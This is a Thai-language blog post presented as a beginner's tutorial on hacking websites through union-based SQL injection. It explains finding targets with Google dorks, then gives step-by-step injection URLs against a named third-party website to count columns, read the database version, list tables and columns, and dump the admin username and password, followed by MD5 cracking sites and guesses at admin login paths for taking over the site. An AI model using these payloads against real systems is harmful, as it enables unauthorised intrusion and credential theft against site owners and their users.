แชร์ Link แล้วได้เงิน

วันอังคารที่ 2 กุมภาพันธ์ พ.ศ. 2559

-{SQLi}- แฮกเว็ปไซต์โดย SQLi มือใหม่เริ่มที่นี้ครับ {Union Based}


SQL INJECTIONโดย Pound


สารบัญ

1: ค้นหาเป้าหมาย
1.2: ทดสอบเป้าหมายว่ามีช่องโหว่หรือไม่
2: หาคอลัมน์
2.1: หาช่องโหว่ของคอลัมน์
3: เช็คเวอร์ชั่นของ SQL
4: ถ้าเป็นเวอร์ชั่น 5

4.1: หาชื่อคอลัมน์ Tables และ พาสแอดมิน
1. ค้นหาเป้าหมาย

เราจะหาเป้าหมายโดยใช้ Dorks. Dorks คือ การใส่ queries เข้าไปใน Search Engine (Google). เราจะใช้ Google ในการค้นหาเป้าหมาย. ใส่ Dorks ลงไปเพื่อหาเว็ปไซต์เป้าหมาย.
ตัวอย่าง Dork
Code:
inurl:"index.php?ID="
ผลการค้นหา. Google จะแสดงเว็ปไซต์ต่างๆที่มี "products.php?prodID=" อยู่ในลิงค์.
- ลิส Dorks
ถ้าจะให้ดีผมแนะนำให้สร้าง Dorks ของตัวเอง. สร้าง Dorks ที่คิดว่าจะยังไม่มีคนอื่นนำไปใช้หรือทดลอง เช่น:
Code:
inurl:"index.php?item_id=" & ".co.th"
บางทีมันก็ไม่ทำงาน. ไม่เป็นไรครับค่อยๆสร้างๆค่อยๆคิดกันไป.

1.2: ทดสอบเป้าหมายว่ามีช่องโหว่ให้ทำการเจาะไหม

หลังจากค้นหาเว็ปไซต์เป้าหมายได้แล้ว เราต้องทดสอบว่าเว็ปเป้าหมายเราจะมีช่องโหวให้เราแฮกเข้าไปได้ไหม.
- ลิสเว็ปไซต์ที่มีช่องโหว่
ผมจะใช้เว็ปนี้เพื่อทดลอง:
http://www.lebeauhumblet.com/publications.php?id=2
วิธีทดสอบคือให้ใส่อักษร ' ไว้ท้ายสุดของลิงค์แล้วรีโหลดหน้าเว็ป เช่น:
Code:
http://www.lebeauhumblet.com/publications.php?id=2'
จะรู้ได้ไงว่าเว็ปนี้มีช่องโหว่. หลังจากรีโหลดหน้าเว็ปแล้ว ถ้าเกิดหน้าเว็ป:
- ข้อความบางส่วนหายไป, รูปภาพหายไป หรือ สคริปแตกต่างจากหน้าเว็ปหลัก
- SQL Error ต่างๆ

2. หาคอลัมน์

ลองกับเว็ปเดิม:
http://www.lebeauhumblet.com/publications.php?id=2
สิ่งที่กำลังจะทำคือเช็คว่าเว็ปนี้มีคอลัมน์อยู่ในฐานข้อมูลทั้งหมดเท่าไหรโดยใช้คำส?ั่ง 'order+by'
ลิงค์จะหน้าตาออกมาเป็นแบบนี่
Code:
http://www.lebeauhumblet.com/publications.php?id=2+order+by+1--
เรามาเริ่มหากันเลย ไล่ขึ้นไปจากคอลัมน์ 1
http://www.lebeauhumblet.com/publication...der+by+1-- < ไม่เจอ Error
http://www.lebeauhumblet.com/publication...der+by+2-- < ไม่เจอ Error
http://www.lebeauhumblet.com/publication...der+by+3-- < ไม่เจอ Error
http://www.lebeauhumblet.com/publication...der+by+4-- < ไม่เจอ Error
http://www.lebeauhumblet.com/publication...der+by+5-- < เจอ Error

นั้นหมายความว่าในฐานข้อมูลเว็ปนี้มีแค่ 4 คอลัมน์

2.1: หาช่องโหว่ของคอลัมน์

จากนั้นเราจะต้องหาว่าใน 4 คอลัมน์นั้นมีคอลัมน์ไหนที่มีช่องโหว่ให้เราสามารถเจาะเข้าไปได้โดยใช้คำสั่ง (union+select).
หน้าตาลิงค์จะเป็นแบบนี้
Code:
http://www.lebeauhumblet.com/publications.php?id=-2+union+select+1,2,3,4--
อย่าลืมอักษร - ก่อนหน้าเลข 2 นะครับดูให้ดีๆ
หลังจากรีโหลดหน้าเว็ป คุณจะเห็นตัวเลขโชว์ขึ้นมาหน้าเว็ป. นั้นคือคอลัมน์ที่มีช่องโหว่. ตัวอย่างเช่นเว็ปไซต์ด้านบนมีคอลัมน์ 3 กับ 4 ที่มีช่องโหว่.

3: หาเวอร์ชั่นของ SQL

ต่อไปใช้คำสั่ง (@@version) ในการหาเวอร์ชั้นของเว็ปไซต์. โดยการแทนที่คอลัมน์ที่มีช่องโหว่ด้วยคำสั่ง เช่น:
Code:
http://www.lebeauhumblet.com/publications.php?id=-2+union+select+1,2,@@version,4--
ตามลิงค์ด้านบนผมใส่คำสั่งแทนที่คอลัมน์ 3. จากนั้นรีโหลดหน้าเว็ป... คุณก็ได้เวอร์ชั่นของเว็ปไซต์นี้ >> 4.1.20-community-nt

ถ้าคำสั่งด้านบนผิดพลาดโดยที่หน้าเว็ปไม่โชว์เวอร์ชั่นหรือมี Error ให้เราใช้คำสั่งนี้แทน
convert(@@version using latin1)
ดังนั้นลิงค์จะมีหน้าตาเป็นแบบนี้
Code:
http://www.lebeauhumblet.com/publications.php?id=-2+union+select+1,2,convert(@@version using latin1),4--
หรือคำสั่งนี้: unhex(hex(@@version))
Code:
http://www.lebeauhumblet.com/publications.php?id=-2+union+select+1,2,unhex(hex(@@version)),4--

4. หา Tables ในฐานข้อมูล

    Quote:group_concat = รวมรวบข้อมูล
    table_name = ชื่อ Tables
    from = ที่ที่เราเจาะจงจะหาข้อมูล
    information_schema.tables = ข้อมูลในฐานข้อมูลที่มีชื่อ Tables เก็บไว้
    table_schema = Tables ในฐานข้อมูล
    database() = ฐานข้อมูลของเว็ปไซด์

เค.. มาผสมคำสั่งพวกนี้เข้าด้วยกัน... ลิงค์จะออกมาหน้าตาแบบนี้
Code:
http://www.lebeauhumblet.com/publications.php?id=-2+union+select+1,2,group_concat(table_name,0x0a),4 from information_schema.tables where table_schema=database()--
ตามลิงค์ด้านบนผมได้ใส่คำสั่ง group_concat(table_name,0x0a) แทนที่คอลัมน์ที่มีช่องโหว่และ from information_schema.tables where table_schema=database()-- ต่อท้าย. จากนัันหน้าเว็ปไซด์จะโชว์ลิสชื่อ Tables ทั้งหมดที่อยู่ในฐานข้อมูล..
Code:
pdigclicks ,pdigengine ,pdigexcludes ,pdigincludes ,pdigkeywords ,pdiglogs ,pdigsite_page ,pdigsites ,pdigspider ,pdigtempspider ,tbladmin ,tblbanner ,tblbanner_page ,tblfaq ,tblncategory ,tblnews
หลังจากที่ได้ชื่อ Tables มาหลายตัว. สิ่งที่ต้องทำคือหา Table ที่มีข้อมูลของ User/Admin อยู่ในนั้น. ในตัวอย่างที่ได้มา table ที่ชื่อ tbladmin น่าจะมีข้อมูลเหล่านั้นอยู่.

4.1. หาชื่อคอลัมน์ใน Table และ ยูสเซ่อกับพาสแอดมิน

ดูที่โค้ตด้านล่างนี้ให้ดีๆ
Code:
http://www.lebeauhumblet.com/publications.php?id=-2+union+select+1,2,group_concat(column_name,0x0a),4 from information_schema.columns where table_name=0x74626c61646d696e--
มาดูกันมีอะไรแตกต่างไปมั้ง:

    Quote:table_name = แทนที่โดย "column_name"
    information_schema.tables = แทนที่โดย "information_schema.columns"
    table_schema = แทนที่โดย "table_name"
    database() = แทนที่โดย "0x74626c61646d696e--"

สงสัยกันใช่ไหมว่าทำไมตัวท้ายต้องเป็น Hex โค้ต 0x74626c61646d696e--
อันดับแรกที่ผมใส่ 0x เพื่อที่จะให้มันอ่านโค้ต hex ได้. เค.. ผมจะอธิบายให้ง่ายๆ ชื่อ Table ของเราคือ tbladmin เผื่อที่จะเข้าไปในฐานข้อมูล Table ได้เราต้องเปลี่ยนชื่อมันให้เป็น hex โค้ต. ผมใช่เว็ปไซด์นี้ในการเปลี่ยน.
Code:
http://www.swingnote.com/tools/texttohex.php
เราก็จะได้ 74626c61646d696e เป็น Hex โค้ตของ tbladmin และเพื่อที่จะทำให้เว็ปไซด์อ่านได้เราจะใส่ 0x เข้าไปข้างหน้า.. ดังนั้นโค้ตจะเป็นแบบนี้..
Code:
0x74626c61646d696e
......
.............
จากนั้นเราจะได้คอลัมน์ทั้งหมดใน Table ตัวนี้เช่น:

    Quote:adminid ,username ,password ,dom

แน่นอนที่ที่มีข้อมูลที่เราต้องการต้องอยู่ใน username และ password
เครขั้นตอนสุดท้าย... มาเอายูสกับรหัสแอดมินของเว็ปนี้โดยใช้คำสั่ง group_concat
Code:
http://www.lebeauhumblet.com/publications.php?id=-2+union+select+1,2,group_concat(username,0x3a,password,0x0a),4 from tbladmin--
แล้วคุณก็จะได้..
Code:
ishir:ishir123
username: ishir
password: ishir123

เครสพิเศษ: Hashed Usernames and Passwords

เว็ปไซด์ส่วนใหญ่จะโชว์พาสเป็น MD5 Hashed. ดังนั้นเราต้องแคร็กมันโดยใช้เว็ปไซด์ด้านล่าง:

    Quote:http://www.md5decrypter.co.uk/
    http://www.md5this.com/
    http://www.md5crack.com/
    http://hashchecker.de/find.html

MD5 Hash จะมี 32 ตัว
SHA-1 Hash จะมี 40 ตัว

ขั้นตอนสุดท้าย: หาหน้าแอดมินเพื่อที่จะล็อกอิน

ตอนนี้เรามียูสกับพาสแอดมินแล้ว. ที่เหลือก็แค่หาหน้าล็อกอินแอดมินก็จะสามารถเข้าไปควบคุมเว็ปไซด์นั้นได้เต็มตัว.

ตัวอย่างหน้าแอดมิน:
Code:
www.xxxx.com/admin
www.xxxx.com/admins
www.xxxx.com/users
www.xxxx.com/admin.php
www.xxxx.com/admin/login.php
www.xxxx.com/login.php
www.xxxx.com/login

ไม่มีความคิดเห็น:

แสดงความคิดเห็น